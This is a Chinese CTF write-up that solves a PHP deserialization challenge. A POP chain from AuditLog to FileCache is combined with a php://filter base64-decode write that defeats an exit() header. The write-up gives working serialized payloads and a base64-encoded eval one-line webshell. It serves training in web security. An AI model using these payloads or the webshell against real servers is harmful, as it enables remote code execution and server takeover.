【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门

题目

此题目来源于投稿

PHP Web 应用里的 FileCache 类被反序列化触发写文件时,非要在内容开头加句exit;搞破坏,导致代码没法执行,快想办法躲开这个 "拦路虎"

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AuditLog {
    public $handler;

    public function __construct() {
        $this->handler = new SystemStatus();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache { 
    public $filePath; 
    public $content; 
    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        
        return "Cache Saved.";
    }
}

class SystemStatus {
    public function process() {
        if(file_exists('./system_config.php')) {
            include('./system_config.php');
        }
        return "System logic normal.";
    }
}


$payload = $_POST['data']; 

if(isset($payload)){
    echo unserialize($payload);
}
else{
    echo "Invalid data stream.";
}
?> Invalid data stream.

解题过程

POP 链初步测试:触发默认返回值

触发 SystemStatus::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 SystemStatus 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class SystemStatus {}

$obj = new AuditLog();
$obj->handler = new SystemStatus();

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:12:"SystemStatus":0:{}}

POST 提交data参数,页面输出:System logic normal.

触发 FileCache::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 FileCache 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();
// 随便赋值,不影响return
$obj->handler->filePath = "test.php";
$obj->handler->content = "test";

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:8:"test.php";s:7:"content";s:4:"test";}}

POST 提交后输出:Cache Saved.

绕过死亡头部:php://filter + Base64 写入

直接写入 PHP 代码会被前置的<?php exit();?>拦截,使用 Base64 解码流绕过。

写入 phpinfo 测试

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "PD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
  1. 写入 phpinfo 测试
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}}

直接访问shell.php出现乱码,原因:前置死亡代码污染 Base64 解码。

解决乱码问题

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:27:"AAAPD9waHAgcGhwaW5mbygpOz8+";}}

终极解决:Base64 长度对齐(解决乱码)

前置字符串长度不满足 Base64 对齐规则,补充字符修正长度,实现纯净写入。

一句话木马编码

bash 复制代码
<?php @eval($_POST[cmd]); ?>

Base64 编码:

bash 复制代码
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==

构造最终 Payload

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";

echo serialize($obj);
?>

最终 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:43:"AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";}}

POST 提交data参数,页面输出:Cache Saved.

连接 Webshell 获得 Flag

答案

qsnctf{177cc428697e461da33a0e8861759e94}

相关推荐
print_Hyon2 小时前
【CTF-MISC-压缩包】零宽字符+OpnenPuff+bkcrack破解层层文件加密
ctf
Sagittarius_A*6 小时前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
print_Hyon16 天前
【CTF-MISC-音频和视频】分析音频频谱,提取图片中的文件并尝试解码得到rar文件
ctf
print_Hyon16 天前
【CTF-MISC-盲水印】压缩包8字节反转+bkcarck破解压缩包+双图盲水印
ctf
福来阁86号技师16 天前
2026-now 网络安全笔记
网络安全·ctf·awd
print_Hyon17 天前
【CTF-MISC-压缩包】bkcrake通过已知明文文件攻击来破解加密的压缩包
ctf
祁白_2 个月前
PHP回调函数
web安全·php·ctf·代码审计·writeup
Eileen Seligman2 个月前
0CTF/TCTF 2023 OLAPInfra Nashorn RCE + HDFS UDF RCE
大数据·hadoop·hdfs·ctf·rce
qsuperm2 个月前
LitCTF2026WEB
网络安全·ctf